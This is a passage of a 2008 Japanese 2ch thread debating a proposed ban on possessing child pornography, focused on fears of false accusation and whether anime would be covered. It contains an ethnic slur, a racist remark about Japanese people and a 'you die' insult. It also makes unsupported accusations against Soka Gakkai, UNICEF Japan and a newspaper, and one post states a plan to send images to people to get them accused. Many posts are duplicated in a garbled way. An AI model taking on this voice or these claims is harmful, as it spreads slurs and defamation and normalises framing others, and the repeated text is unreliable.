そんなに逮捕されたら逆に一般国民はおかしく思うだろｗ
しかも現状、検察はそんなに仕事しませんｗ
この低い起訴率が逆に「起訴された奴＝絶対に犯人」というお茶の間の意識に繋がってるんだろうな。
低いからこそ、ごり押しで有罪にもっていく。そしてそれが可能なな制度の欠陥がある。
この欠陥こそ問題なのだが。
この法案が成立した後、数名の逮捕者が出る。
そしてたまに数名が逮捕される。
そしてお前らはああこの程度かと思ってこっそり続けていくことになるだろう。
相変わらず問題の根本は解決されぬまま。
実際に逮捕されるのは数名だろうな。
そんなに逮捕されたら逆に一般国民はおかしく思うだろｗ
しかも現状、検察はそんなに仕事しませんｗ
この低い起訴率が逆に「起訴された奴＝絶対に犯人」というお茶の間の意識に繋がってるんだろうな。
低いからこそ、ごり押しで有罪にもっていく。そしてそれが可能なな制度の欠陥がある。
この欠陥こそ問題なのだが。
この法案が成立した後、数名の逮捕者が出る。
そしてたまに数名が逮捕される。
そしてお前らはああこの程度かと思ってこっそり続けていくことになるだろう。
相変わらず問題の根本は解決されぬまま。
406 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:53:36 ID:IqpFU/RNO
>>406
バカは自分をバカとは思わないからなぁ…
バカは自分をバカとは思わないからなぁ…
410 ：名無しさん＠九周年：2008/08/20(水) 11:54:40 ID:Xwf4Z4/A0
411 ：名無しさん＠九周年：2008/08/20(水) 11:55:22 ID:LYJG4/0F0
>>385
しかしね、女性向け二次元物児童ポルノの危険性や異常性を世間に
喧伝し、規制を訴える自体には価値があると思いますね。
このことで世間の認識を一変させれば、女性教諭などによる
男子児童の性的イタズラについて、被害児童も親御さんも訴えやすくなりますからね。
現在の日本では統計データを見る限り、息子を持つ親御さんの方が多いわけじゃないですか？
これは、世の母親の支持を集められると思いますよ。
しかしね、女性向け二次元物児童ポルノの危険性や異常性を世間に
喧伝し、規制を訴える自体には価値があると思いますね。
このことで世間の認識を一変させれば、女性教諭などによる
男子児童の性的イタズラについて、被害児童も親御さんも訴えやすくなりますからね。
現在の日本では統計データを見る限り、息子を持つ親御さんの方が多いわけじゃないですか？
これは、世の母親の支持を集められると思いますよ。
ああ、ブツがあれば冤罪とはいえないのか
でもネットでそれと意識せず拾ってしまった画像でやられるようなことになるな
結局警察のさじ加減でどうにでもなりそうだ
でもネットでそれと意識せず拾ってしまった画像でやられるようなことになるな
結局警察のさじ加減でどうにでもなりそうだ
413 ：名無しさん＠九周年：2008/08/20(水) 11:55:38 ID:d8gUr3oL0
>>408規制派には紛れも無いアニメオタクのようだぞ
実態はタダの映像収集家だったがね
実態はタダの映像収集家だったがね
414 ：名無しさん＠九周年：2008/08/20(水) 11:56:20 ID:bn9LHFFp0
買春したほうが罪軽いんじゃね？
なんか最近水面下で変な動き多いよな
なんか最近水面下で変な動き多いよな
415 ：名無しさん＠九周年：2008/08/20(水) 11:56:30 ID:WvPt3ejzO
>365
もし害あるならまとめて規制していいよ
小さい頃にロリに追い掛けられた記憶あるし
現実のが大事
もし害あるならまとめて規制していいよ
小さい頃にロリに追い掛けられた記憶あるし
現実のが大事
416 ：名無しさん＠九周年：2008/08/20(水) 11:56:31 ID:goo4DzbW0
>>396
部屋にママしか入らない引き篭もりにとってはな。
部屋にママしか入らない引き篭もりにとってはな。
こうやって議論してくと
冤罪の可能性を訴えながら
冤罪に陥れる側が捕まる可能性を全く考えてないところが能天気だな。
児童ポルノ反対派の諸君は法案が成立したら
実際に誰かに児童ポルノを送りつける犯罪を起しかねあいからな。
そのあとどうやって逮捕されるまでを
今からしっかりイメージトレーニングしといたほうがいいよ。
犯罪の防止にもつながるしな ｗｗｗ
冤罪の可能性を訴えながら
冤罪に陥れる側が捕まる可能性を全く考えてないところが能天気だな。
児童ポルノ反対派の諸君は法案が成立したら
実際に誰かに児童ポルノを送りつける犯罪を起しかねあいからな。
そのあとどうやって逮捕されるまでを
今からしっかりイメージトレーニングしといたほうがいいよ。
犯罪の防止にもつながるしな ｗｗｗ
418 ：名無しさん＠九周年：2008/08/20(水) 11:57:12 ID:jW3JULN60
最近のCIAは暗殺止めて児童ポルノ仕込むのが主流らしいな
419 ：名無しさん＠九周年：2008/08/20(水) 11:57:48 ID:d8gUr3oL0
>>412それが単純所持だもの
自民案は無限逮捕可能な冤罪量産法案に過ぎない
自民案は無限逮捕可能な冤罪量産法案に過ぎない
>>410
仕事しろよ。クビになるぞ。
仕事しろよ。クビになるぞ。
421 ：名無しさん＠九周年：2008/08/20(水) 11:58:12 ID:q/mKxkERO
子を持つ親なら、自分の子供が所持禁止で保護されるよりも
所持禁止で逮捕される心配をしなさい。
所持禁止で逮捕される心配をしなさい。
ただ締め付けられるだけで、何のメリットもない
これを肯定する理由は一般国民には一切ないよ
これを肯定する理由は一般国民には一切ないよ
424 ：名無しさん＠九周年：2008/08/20(水) 11:58:32 ID:TkZM705I0
おまえら「チンコやマンコは淫行の道具だから逮捕」なんて話聞いたことあるか？
425 ：名無しさん＠九周年：2008/08/20(水) 11:58:34 ID:iEJorCPP0
>>389
お前は何処まで無知なんだよｗ
＞ビッグサイトで事故起こしたコミックマーケットっていう
それはワンダーフェスティバルだよ。
コミケは安全が確保出来るまでエスカレーター使用禁止になる。
>>389
お前は体育会系や教師による度重なる性犯罪に
何も思わないなんてチョンですか？
お前は何処まで無知なんだよｗ
＞ビッグサイトで事故起こしたコミックマーケットっていう
それはワンダーフェスティバルだよ。
コミケは安全が確保出来るまでエスカレーター使用禁止になる。
>>389
お前は体育会系や教師による度重なる性犯罪に
何も思わないなんてチョンですか？
昔の人なんか１０歳そこそこの女子と結婚（もちろんセックス）
しているのだが
もちろん大河ドラマに出てくる戦国武将とかもそうなのだが
ＮＨＫはそれを３０歳ぐらいの女優にその役をやらせて平然としてる
それを史実だと思って見ているのが大半の人達
こういうところから勘違いが生れる
しているのだが
もちろん大河ドラマに出てくる戦国武将とかもそうなのだが
ＮＨＫはそれを３０歳ぐらいの女優にその役をやらせて平然としてる
それを史実だと思って見ているのが大半の人達
こういうところから勘違いが生れる
427 ：名無しさん＠九周年：2008/08/20(水) 11:58:46 ID:7jo0ogr4O
ヤクザの皆さんは二十歳前後の女性との変態行為の映像も危険ですよ。自慢のコレクションはズタズタ。
>>416
規制派は不特定多数が出入り出来る所に行かないのだろうか。
規制派は不特定多数が出入り出来る所に行かないのだろうか。
429 ：名無しさん＠九周年：2008/08/20(水) 11:59:02 ID:Xwf4Z4/A0
>>417
ちょいと脳みそが足りないみたいだな。
児ポ法律が無ければ、「何だこの画像」でゴミ箱に捨てりゃいいだけ。
だが、成立したら冤罪の可能性だけが増えるわけだ。
児ポ法が無ければ冤罪の可能性も0だ。
冤罪が全く発生しないとでも思っているのか？能天気な奴だな。
ちょいと脳みそが足りないみたいだな。
児ポ法律が無ければ、「何だこの画像」でゴミ箱に捨てりゃいいだけ。
だが、成立したら冤罪の可能性だけが増えるわけだ。
児ポ法が無ければ冤罪の可能性も0だ。
冤罪が全く発生しないとでも思っているのか？能天気な奴だな。
431 ：名無しさん＠九周年：2008/08/20(水) 11:59:53 ID:EcofcqPc0
逆の立場で考えると、
冤罪でいいから憎いあいつを何としてでもおとし入れてやりたい、
という思考の持ち主は、どうしても可決して欲しい、させたい、と願う法案だろう。
＃個人的にはこっちの方が遥かに犯罪者に近い属性を持った危険な人間だと思うがね。
可決、改正されていけば、権力に守られ、合法的に安全に個人的な恨みが晴らしやすくなる。
相手に大ダメージを与えてね。自殺でもしてくれれば、自分は手を汚さずに、
抹殺することが出来るのだから。
冤罪でいいから憎いあいつを何としてでもおとし入れてやりたい、
という思考の持ち主は、どうしても可決して欲しい、させたい、と願う法案だろう。
＃個人的にはこっちの方が遥かに犯罪者に近い属性を持った危険な人間だと思うがね。
可決、改正されていけば、権力に守られ、合法的に安全に個人的な恨みが晴らしやすくなる。
相手に大ダメージを与えてね。自殺でもしてくれれば、自分は手を汚さずに、
抹殺することが出来るのだから。
432 ：名無しさん＠九周年：2008/08/20(水) 12:00:19 ID:/XimTWl30
これって以前にｎｙで落としたファイルがパソコンの中に入っててもアウトなの？
433 ：名無しさん＠九周年：2008/08/20(水) 12:00:28 ID:sVSKfqLAO
悪意の他人による仕込みだけでなく、何が「児童ポルノ」かがあいまいなのが問題
家族がいる誰の家にも、自分または子供の幼時期のほほえましい半裸全裸写真が
複数あるだろう
おむつ、パンツ一枚での水浴び、家族とお風呂、ふざけて尻を出した写真
複数あれば、確実に逮捕できる、この場合「常識的に考えて」は通用しない
未成年アイドル水着写真集はどうか？ちょっと大胆なポーズが一枚あれば
逮捕かもしれない
中学生、高校生男子の家に一冊もないことがありえるか？
息子が彼女とのＨ記念写メとってたら完全に終わり、女子本人がとっても逮捕
注意してもしきれない
家族がいる誰の家にも、自分または子供の幼時期のほほえましい半裸全裸写真が
複数あるだろう
おむつ、パンツ一枚での水浴び、家族とお風呂、ふざけて尻を出した写真
複数あれば、確実に逮捕できる、この場合「常識的に考えて」は通用しない
未成年アイドル水着写真集はどうか？ちょっと大胆なポーズが一枚あれば
逮捕かもしれない
中学生、高校生男子の家に一冊もないことがありえるか？
息子が彼女とのＨ記念写メとってたら完全に終わり、女子本人がとっても逮捕
注意してもしきれない
大人が女子高生の格好してるのも駄目なのか？
彼女にセーラ服を着せたはめ鳥とかさ。
彼女にセーラ服を着せたはめ鳥とかさ。
>>429
みんなが仕事してる時間に2chで、昼食時に仕事すんの？
みんなが仕事してる時間に2chで、昼食時に仕事すんの？
438 ：名無しさん＠九周年：2008/08/20(水) 12:01:24 ID:aVF/mK2L0
応酬した中に児童ポルノで禁止されたものがありました
なんて報道されたら恥ずかしいな。
物を見ればなんてことのないもでも人はいらぬ想像働かせる。
騙しリンクをはって訪問者を逮捕みたいなのを
おとり捜査といってるアメリカみたいな国になってほしくない
なんて報道されたら恥ずかしいな。
物を見ればなんてことのないもでも人はいらぬ想像働かせる。
騙しリンクをはって訪問者を逮捕みたいなのを
おとり捜査といってるアメリカみたいな国になってほしくない
440 ：名無しさん＠九周年：2008/08/20(水) 12:01:54 ID:d8gUr3oL0
>>430規制派なんて全員そんなんだろ
441 ：名無しさん＠九周年：2008/08/20(水) 12:02:03 ID:vGFL8+ENO
>>416
で誰が通報するの？
で誰が通報するの？
さっきから誰かがロリコンロリコンとほざいてるが
男 の 子
は18歳未満の児童ポルノ法の対処外なんですか？
男 の 子
は18歳未満の児童ポルノ法の対処外なんですか？
☆家宅捜査の恐怖☆
まず
家中の物は投げられ
壊され
空巣に入られるより悲惨な事になります
無罪でも当然ながら保障などありません
貴方の大切にしている物も投げられ壊されます
更に近所に噂が広がり嫌がらせが続き住めなくなります
たかがエロごときにここまでする必要があるのでしょうか？
まず
家中の物は投げられ
壊され
空巣に入られるより悲惨な事になります
無罪でも当然ながら保障などありません
貴方の大切にしている物も投げられ壊されます
更に近所に噂が広がり嫌がらせが続き住めなくなります
たかがエロごときにここまでする必要があるのでしょうか？
444 ：名無しさん＠九周年：2008/08/20(水) 12:02:59 ID:bn9LHFFp0
個人的にはまず変態新聞内を捜査して欲しいな
445 ：名無しさん＠九周年：2008/08/20(水) 12:03:03 ID:LYJG4/0F0
>>415
３次元物については、既に現行法でも規制されていると、理解されていますか？
あなたのように、自分の性欲のために何の罪悪感も感じずに、
二次元の男子児童で性欲を満たしている人間は同じ女性として恥ずかしい。
３次元物については、既に現行法でも規制されていると、理解されていますか？
あなたのように、自分の性欲のために何の罪悪感も感じずに、
二次元の男子児童で性欲を満たしている人間は同じ女性として恥ずかしい。
446 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 12:03:04 ID:IqpFU/RNO
447 ：名無しさん＠九周年：2008/08/20(水) 12:03:14 ID:WvPt3ejzO
>426
男は身長150センチで平均寿命も短いじゃねーか
男は身長150センチで平均寿命も短いじゃねーか
448 ：名無しさん＠九周年：2008/08/20(水) 12:03:30 ID:1NOs+8Hn0
>>426
時代が変われば慣習が変わるのは当然のこと。
遠山の金さんなんて自分のさじ加減で罪人裁いちゃうぞ？
と言うことは現在でもロリコンは司法のさじ加減で裁いてよいことになるからおまえは市中引き回しの上、打ち首だなｗ
時代が変われば慣習が変わるのは当然のこと。
遠山の金さんなんて自分のさじ加減で罪人裁いちゃうぞ？
と言うことは現在でもロリコンは司法のさじ加減で裁いてよいことになるからおまえは市中引き回しの上、打ち首だなｗ
449 ：名無しさん＠九周年：2008/08/20(水) 12:03:36 ID:iEJorCPP0
>>442
ID:LYJG4/0F0が詳しく解説しておりますけどｗ
ID:LYJG4/0F0が詳しく解説しておりますけどｗ
>>338
>個人で持ってるだけなら容認もクソもない
>憲法で保証された権利だろうがﾎﾞｹﾅｽ
児童ポルノ所持が違法化され、児童ポルノを今より容認しない社会になったら、
所持が憲法で保障されるものじゃなくなるだけだろ。
>>357
今の定義18歳がラインの定義でも政策上、
どこにも問題視されてないから現行法が成立してるんじゃないか？
具体的に定義を下げる政治運動は出てきているのか？
>個人で持ってるだけなら容認もクソもない
>憲法で保証された権利だろうがﾎﾞｹﾅｽ
児童ポルノ所持が違法化され、児童ポルノを今より容認しない社会になったら、
所持が憲法で保障されるものじゃなくなるだけだろ。
>>357
今の定義18歳がラインの定義でも政策上、
どこにも問題視されてないから現行法が成立してるんじゃないか？
具体的に定義を下げる政治運動は出てきているのか？
451 ：名無しさん＠九周年：2008/08/20(水) 12:05:03 ID:EcofcqPc0
２２６事件
453 ：名無しさん＠九周年：2008/08/20(水) 12:05:43 ID:bn9LHFFp0
自分の昔の写真でも良いんだよね
法律制定されたら送ってやろうと思ってるんだけど
法律制定されたら送ってやろうと思ってるんだけど
簡単に逮捕できるとなれば家宅捜索もすぐやるだろうな。
PCほじくればとりあえず合法的に逮捕できる
そういう話が捜査連中に語られる日も遠くないな
PCほじくればとりあえず合法的に逮捕できる
そういう話が捜査連中に語られる日も遠くないな
455 ：名無しさん＠九周年：2008/08/20(水) 12:06:44 ID:iEJorCPP0
>>389
＞京大 アメフト部 集団強姦（２００６）
早稲田 スーパーフリー和田サン事件（２００３）ラグビー部レイプ他多数 不法侵入＆下着物色アイスホッケー部
明治 置石・レイプ・大麻、応援団リーダー部 設立以来長年に渡って後輩を性的リンチして、リンチ被害者の自殺により、ようやくリーダー部を解散処分、その他色々
中央 女子中学生集団輪姦事件、アメフト部
亜細亜 野球部痴漢事件（２００４）
帝京 ラグビー部レイプ
国士舘 サッカー部集団レイプ事件（２００４）、剣道部殺人事件
日大 アイスホッケー部の５人、アパートで２０代女性にレイプ
西日本短大付属北九州市 硬式野球部の４人 未成年少女に猥褻行為を働いたとして４人のうち一人を逮捕
同志社 ラグビー部 集団でわいせつ目的略取（２００７）、野球部 部員に暴行（２００８）
日大 スキー部 １年生男子部員が強姦(ごうかん)致傷事件を起こした
春日部共栄高 野球部 部員が女子に暴行
滝川高 野球部とフットサル仲間 仲間が被害者に性的いじめを行い、被害者が自殺
帯南商高 女子バスケットボール部 顧問教諭が複数の部員に体罰を加えた
金沢高 野球部 部員強制わいせつ逮捕、大会辞退
桐生第一高 野球部 男子生徒は路上で、通りかかった同市の女子高生（１６）に対し、手で口をふさぎ、体を触るなどのわいせつな行為をした
栃木県の元甲子園球児 元野球部 未成年少女に淫行
静岡県のサッカー選手 女子高生をレイプ
兵庫県のサッカー選手 神戸市で女性宅に侵入し下着ドロ
フィギュアコーチ 教え子の中学生に強姦や強制わいせつ
剣道の名門道場館長 合宿にきた女子大生２人をレイプ
２０年間に毎年５５万人も１ヶ所に集まるのに実際には体育会系よりもオタと報道された事件が少ないｗ
スポーツをする人間は将来的に女性に対して性犯罪を犯す可能性が非常に高いから規制されて当然。
＞京大 アメフト部 集団強姦（２００６）
早稲田 スーパーフリー和田サン事件（２００３）ラグビー部レイプ他多数 不法侵入＆下着物色アイスホッケー部
明治 置石・レイプ・大麻、応援団リーダー部 設立以来長年に渡って後輩を性的リンチして、リンチ被害者の自殺により、ようやくリーダー部を解散処分、その他色々
中央 女子中学生集団輪姦事件、アメフト部
亜細亜 野球部痴漢事件（２００４）
帝京 ラグビー部レイプ
国士舘 サッカー部集団レイプ事件（２００４）、剣道部殺人事件
日大 アイスホッケー部の５人、アパートで２０代女性にレイプ
西日本短大付属北九州市 硬式野球部の４人 未成年少女に猥褻行為を働いたとして４人のうち一人を逮捕
同志社 ラグビー部 集団でわいせつ目的略取（２００７）、野球部 部員に暴行（２００８）
日大 スキー部 １年生男子部員が強姦(ごうかん)致傷事件を起こした
春日部共栄高 野球部 部員が女子に暴行
滝川高 野球部とフットサル仲間 仲間が被害者に性的いじめを行い、被害者が自殺
帯南商高 女子バスケットボール部 顧問教諭が複数の部員に体罰を加えた
金沢高 野球部 部員強制わいせつ逮捕、大会辞退
桐生第一高 野球部 男子生徒は路上で、通りかかった同市の女子高生（１６）に対し、手で口をふさぎ、体を触るなどのわいせつな行為をした
栃木県の元甲子園球児 元野球部 未成年少女に淫行
静岡県のサッカー選手 女子高生をレイプ
兵庫県のサッカー選手 神戸市で女性宅に侵入し下着ドロ
フィギュアコーチ 教え子の中学生に強姦や強制わいせつ
剣道の名門道場館長 合宿にきた女子大生２人をレイプ
２０年間に毎年５５万人も１ヶ所に集まるのに実際には体育会系よりもオタと報道された事件が少ないｗ
スポーツをする人間は将来的に女性に対して性犯罪を犯す可能性が非常に高いから規制されて当然。
456 ：名無しさん＠九周年：2008/08/20(水) 12:06:48 ID:LYJG4/0F0
>>436
ID:WvPt3ejzO←この方のように、男子児童ならいくらでも性欲の対象にしても構わない、
罰せられないと勘違いしている方が多いようなら、法で規制する以外は方法がないと思います。
一度身についた人間の性癖は修正しにくいようですしね。
ID:WvPt3ejzO←この方のように、男子児童ならいくらでも性欲の対象にしても構わない、
罰せられないと勘違いしている方が多いようなら、法で規制する以外は方法がないと思います。
一度身についた人間の性癖は修正しにくいようですしね。
まあ実際のターゲットはロリ画像じゃなくてロリコンだからあくまで
昔行くと当たり前の人が全部アウトになるようにどんどん法律を設定して
行ってるだけだから
Ｇ７とやらの先進国はほとんど全部人口が減少して移民で色が濃くなって
行ってるだけのことでね
日本は白人の真似をするアジア人という犬も食わないクソ人種だなぁ
まあ事実上の高齢婚嗜好義務化による人口減少で移民による民族の変質は
免れない運命なのでしょう
昔行くと当たり前の人が全部アウトになるようにどんどん法律を設定して
行ってるだけだから
Ｇ７とやらの先進国はほとんど全部人口が減少して移民で色が濃くなって
行ってるだけのことでね
日本は白人の真似をするアジア人という犬も食わないクソ人種だなぁ
まあ事実上の高齢婚嗜好義務化による人口減少で移民による民族の変質は
免れない運命なのでしょう
>>438
陥れる側が捕まる可能性高ければ、全然「容易」な手段ではなくなるんだが？
陥れる側が捕まる可能性高ければ、全然「容易」な手段ではなくなるんだが？
459 ：名無しさん＠九周年：2008/08/20(水) 12:08:13 ID:CtDM/dN9O
仮に児ポ法がアニメも適用された場合、
トトロは発禁ですかね、やっぱり。
入浴シーンあるでしょ？
トトロは発禁ですかね、やっぱり。
入浴シーンあるでしょ？
むしろ児童に興味ある人がモノくらいで抑止してたほうが助かる。
全くはけ口なくなるとどういう行動にでるのか想像するだけ怖いわ。
全くはけ口なくなるとどういう行動にでるのか想像するだけ怖いわ。
461 ：名無しさん＠九周年：2008/08/20(水) 12:09:10 ID:evi3efCf0
線引きはハッキリしろよ。
出来ないなら作るな。
>>429
オマエが死ね
ロリヲタだろうがなんだろうが、それが実際の犯罪に及んでいないなら
それがなんであれ思考宗教信念思想は自由だ。
つまり、ロリヲタだろうがなんだろうが一向に構わない。
単純所持の規制は、弊害の大きい法律。
児童ポルノの規制は現状で十分機能している以上、
そういった弊害を許容してまで、
厳罰化や規制強化をする意味も必要性もない。
オマエが死ね
ロリヲタだろうがなんだろうが、それが実際の犯罪に及んでいないなら
それがなんであれ思考宗教信念思想は自由だ。
つまり、ロリヲタだろうがなんだろうが一向に構わない。
単純所持の規制は、弊害の大きい法律。
児童ポルノの規制は現状で十分機能している以上、
そういった弊害を許容してまで、
厳罰化や規制強化をする意味も必要性もない。
>>459
ほたるの墓は完全アウトだな
ほたるの墓は完全アウトだな
464 ：名無しさん＠九周年：2008/08/20(水) 12:09:36 ID:bn9LHFFp0
>>459発禁でしょ当然魔女宅もどうよう
465 ：名無しさん＠九周年：2008/08/20(水) 12:09:51 ID:WvPt3ejzO
>448
変化の原因を突き詰めないのもアレだな
予防摂取のない時代は20歳まで生きるのが奇跡だったからさっさと結婚させたかっただけ
変化の原因を突き詰めないのもアレだな
予防摂取のない時代は20歳まで生きるのが奇跡だったからさっさと結婚させたかっただけ
>>430
「何だこの画像」でゴミ箱に捨てりゃいいだけ
ってことはメールだろうな。いちおう断わっとくけど。
ならそれでオッケーだよ。
警察が当該メールの送受信の記録を調べることはできるから
捨てれば現在持っていないことになる。
不安であればむしろ捨てずに
公的な窓口を通じて相談すればいい。たぶんそういうのを作るだろうから。
あるいは警察に通報するのが一番だよ。
匿名通報の密告者より早く連絡すればこちらの信頼感も上がる。
むしろ匿名で密告したやうが捕まりやすくなるから一石二鳥だ。
「何だこの画像」でゴミ箱に捨てりゃいいだけ
ってことはメールだろうな。いちおう断わっとくけど。
ならそれでオッケーだよ。
警察が当該メールの送受信の記録を調べることはできるから
捨てれば現在持っていないことになる。
不安であればむしろ捨てずに
公的な窓口を通じて相談すればいい。たぶんそういうのを作るだろうから。
あるいは警察に通報するのが一番だよ。
匿名通報の密告者より早く連絡すればこちらの信頼感も上がる。
むしろ匿名で密告したやうが捕まりやすくなるから一石二鳥だ。
467 ：名無しさん＠九周年：2008/08/20(水) 12:10:10 ID:7jo0ogr4O
ヤクザって拳銃のコレクションできるのか。すごいな 尚更悪知恵の働くヤクザを容易に逮捕できるように単純所持禁止にしないといけないな。
468 ：名無しさん＠九周年：2008/08/20(水) 12:10:24 ID:vGFL8+ENO
そういや、コミケで反対署名はやったのかな
「子供を守る」という建前で日本を混乱させ利権と権力を得る創価学会が一番の悪党だろ
日本ユニセフも一般人から集めた金で豪華なビル立ててるピンハネ偽善
日本ユニセフも一般人から集めた金で豪華なビル立ててるピンハネ偽善
470 ：名無しさん＠九周年：2008/08/20(水) 12:11:30 ID:651Ef1zrO
>>448
江戸時代以前人類生物遡って何億年もずっと
せいぜい１０代で生殖活動して生れてたってことだよ
ここ２０年でそれを急に真逆に出来るかな？
面白い実験だね
失敗する方に賭けるよ。
先進国は低年齢婚で人口増えてる国から移民を増やしているだけの結果だから
江戸時代以前人類生物遡って何億年もずっと
せいぜい１０代で生殖活動して生れてたってことだよ
ここ２０年でそれを急に真逆に出来るかな？
面白い実験だね
失敗する方に賭けるよ。
先進国は低年齢婚で人口増えてる国から移民を増やしているだけの結果だから
ニートのネット利用率はほぼ１００％！！
ニートのＴＶゲーム経験率は１００％！！！
ネット＆ゲームをすれば、ニートになる！！！！
早急に規制を！！！！！
ニートのＴＶゲーム経験率は１００％！！！
ネット＆ゲームをすれば、ニートになる！！！！
早急に規制を！！！！！
473 ：名無しさん＠九周年：2008/08/20(水) 12:12:26 ID:iEJorCPP0
>>459
それではらんま１/２も危ないな、
未成年少女の下着姿どころか入浴シーンも沢山有るし。
こないだの高橋留美子展は児童ポルノ展になってしまうぞｗ
タッチ、絶対可憐チルドレン、とらぶる、ケンイチ、ウミショーも捨てないと駄目ってことか
ドラゴンボールやドラえもんも発禁か…
それではらんま１/２も危ないな、
未成年少女の下着姿どころか入浴シーンも沢山有るし。
こないだの高橋留美子展は児童ポルノ展になってしまうぞｗ
タッチ、絶対可憐チルドレン、とらぶる、ケンイチ、ウミショーも捨てないと駄目ってことか
ドラゴンボールやドラえもんも発禁か…
474 ：名無しさん＠九周年：2008/08/20(水) 12:12:30 ID:bn9LHFFp0
おまけに自社ビルでAV撮影やっちゃった
変態新聞社も関わってるんでしょ
変態新聞社も関わってるんでしょ
>ID:3wstFBpE0のキチガイっぷりがひどい。
単純所持なんてやれば冤罪続出なのは既に分かっていること。
問題は、そういったひどい弊害を許容してまで規制をする意味が
全くないってことなんだよ。
規制強化の必要性を挙げて見せろよ。
単純所持なんてやれば冤罪続出なのは既に分かっていること。
問題は、そういったひどい弊害を許容してまで規制をする意味が
全くないってことなんだよ。
規制強化の必要性を挙げて見せろよ。
>>459
宮崎アニメは厳密に言えばほとんどアウトだが社長が創価なので全員無罪
宮崎アニメは厳密に言えばほとんどアウトだが社長が創価なので全員無罪
477 ：名無しさん＠九周年：2008/08/20(水) 12:13:26 ID:LYJG4/0F0
あと、私の基本的な認識として、男性教諭による女子児童への性的イタズラが多いのなら、
女性教諭による男子児童への性的イタズラも顕在化していないだけでそれ相応あるのではないかと思っています。
二次元の女性向け児童ポルノ危険性や異常性を広く世間に浸透させることで、女性の男子児童への性的虐待に対する
世間の認識を一変させ、今まで声を押し殺すことしかできなかった被害男子児童や親御さんに救いの手を差し伸べたいですね
女性教諭による男子児童への性的イタズラも顕在化していないだけでそれ相応あるのではないかと思っています。
二次元の女性向け児童ポルノ危険性や異常性を広く世間に浸透させることで、女性の男子児童への性的虐待に対する
世間の認識を一変させ、今まで声を押し殺すことしかできなかった被害男子児童や親御さんに救いの手を差し伸べたいですね
478 ：名無しさん＠九周年：2008/08/20(水) 12:14:21 ID:q/mKxkERO
>>472
詭弁杉ﾜﾛﾀｗｗｗ
詭弁杉ﾜﾛﾀｗｗｗ
479 ：名無しさん＠九周年：2008/08/20(水) 12:14:30 ID:WvPt3ejzO
>456
誰が現役だと言ったよｗ
卒業済み
女のBLは一過性がほとんどだから目くじら立てる事ないってｗ
誰が現役だと言ったよｗ
卒業済み
女のBLは一過性がほとんどだから目くじら立てる事ないってｗ
480 ：名無しさん＠九周年：2008/08/20(水) 12:15:27 ID:iEJorCPP0
>>470
もう少し詳しく言ってくれ。ググってみるから。
もう少し詳しく言ってくれ。ググってみるから。
禁酒法を施行してのんべえのオヤジにいくら酒飲んだら逮捕だといってもムダ。
ヤミ酒を入手して飲むに決まってる。ヤミ酒の製造元やその黒幕のギャングを
叩くほうがよほど効率的。
なおロリコンは性癖なのでいくら法律で禁止して潔癖さんが毛嫌いしようが絶滅
はありえません。地位や教育程度とも関係ありません。プチエンジェル事件では
ロリ売春の顧客は会社の重役や医師・政治家など社会的地位が高い人間が数多く
顧客リストに掲載されていた為、真相が闇に葬られたとの見方が一般的です。
ユーザーを叩くことに腐心する法律を強化しても更にヤミ化するだけでかえって
事態を悪化させるでしょう。
やはりポルノ製造者やサイトを徹底的に叩き、既存法の重罰化で対処するのが
最も弊害の少ないまっとうなやり方だと僕は信じます。
ヤミ酒を入手して飲むに決まってる。ヤミ酒の製造元やその黒幕のギャングを
叩くほうがよほど効率的。
なおロリコンは性癖なのでいくら法律で禁止して潔癖さんが毛嫌いしようが絶滅
はありえません。地位や教育程度とも関係ありません。プチエンジェル事件では
ロリ売春の顧客は会社の重役や医師・政治家など社会的地位が高い人間が数多く
顧客リストに掲載されていた為、真相が闇に葬られたとの見方が一般的です。
ユーザーを叩くことに腐心する法律を強化しても更にヤミ化するだけでかえって
事態を悪化させるでしょう。
やはりポルノ製造者やサイトを徹底的に叩き、既存法の重罰化で対処するのが
最も弊害の少ないまっとうなやり方だと僕は信じます。
ブルマのオッパイ描写のあるドラゴンボール所有者通報祭りか
アニマックスも最終回いかないうちに終了か
アニマックスも最終回いかないうちに終了か
ここで自信満々に賛成してる奴だって踏み込まれたら余裕で逮捕されそうな法律なんだよな。
俺は特別ロリじゃないけど踏み込まれたら間違いなく逮捕されるわ。
こんな警察が踏み込んだ時点で９９％逮捕できそうな法律ってまともじゃないだろ。
通報されるだけで社会的に抹殺される。
>>479
男のロリも立たなくなるまでか立つようになってから死ぬまでの一過性のケースが多いから
目くじら立てることないな。
俺は特別ロリじゃないけど踏み込まれたら間違いなく逮捕されるわ。
こんな警察が踏み込んだ時点で９９％逮捕できそうな法律ってまともじゃないだろ。
通報されるだけで社会的に抹殺される。
>>479
男のロリも立たなくなるまでか立つようになってから死ぬまでの一過性のケースが多いから
目くじら立てることないな。
486 ：名無しさん＠九周年：2008/08/20(水) 12:17:27 ID:1NOs+8Hn0
487 ：名無しさん＠九周年：2008/08/20(水) 12:17:54 ID:OO/sltkH0
女の性欲は奇麗な性欲、男の性欲は汚い性欲。
こんな簡単なこともここの馬鹿どもは理解できないのか。
こんな簡単なこともここの馬鹿どもは理解できないのか。
アニメの話を延々とやってる連中ってのは何がおもしろくてやってるの。
何も決まってないんだから、どれがダメなんて誰も決められないよ。
もしかして何もしないアニオタをだませるとでも思ってるのかな
何も決まってないんだから、どれがダメなんて誰も決められないよ。
もしかして何もしないアニオタをだませるとでも思ってるのかな
489 ：名無しさん＠九周年：2008/08/20(水) 12:18:30 ID:5H/xg3hM0
これは困るな・・・NHKアーカイブスが破棄されてしまう。
490 ：名無しさん＠九周年：2008/08/20(水) 12:18:39 ID:CtDM/dN9O
>>473
『作家高橋留美子、児ポ法違反で逮捕！』って記事が
東スポ 以 外 の新聞で見られるのも、そう遠くは無いなw
となると、手塚治虫も駄目か…メルモちゃんは見た目が大人でも
実年齢がアウアウ(笑)
『作家高橋留美子、児ポ法違反で逮捕！』って記事が
東スポ 以 外 の新聞で見られるのも、そう遠くは無いなw
となると、手塚治虫も駄目か…メルモちゃんは見た目が大人でも
実年齢がアウアウ(笑)
491 ：名無しさん＠九周年：2008/08/20(水) 12:19:04 ID:goo4DzbW0
>>458
陥れる側を捕まえるには、
児ポを仕込んだ過程や経緯を全部立証しなければならない。
単純所持側は、部屋に落ちていただけで有罪。OK？
実際に、陥れた側はスルーで、単純所持側が捕まるケースが続発すると思う。
陥れる側を捕まえるには、
児ポを仕込んだ過程や経緯を全部立証しなければならない。
単純所持側は、部屋に落ちていただけで有罪。OK？
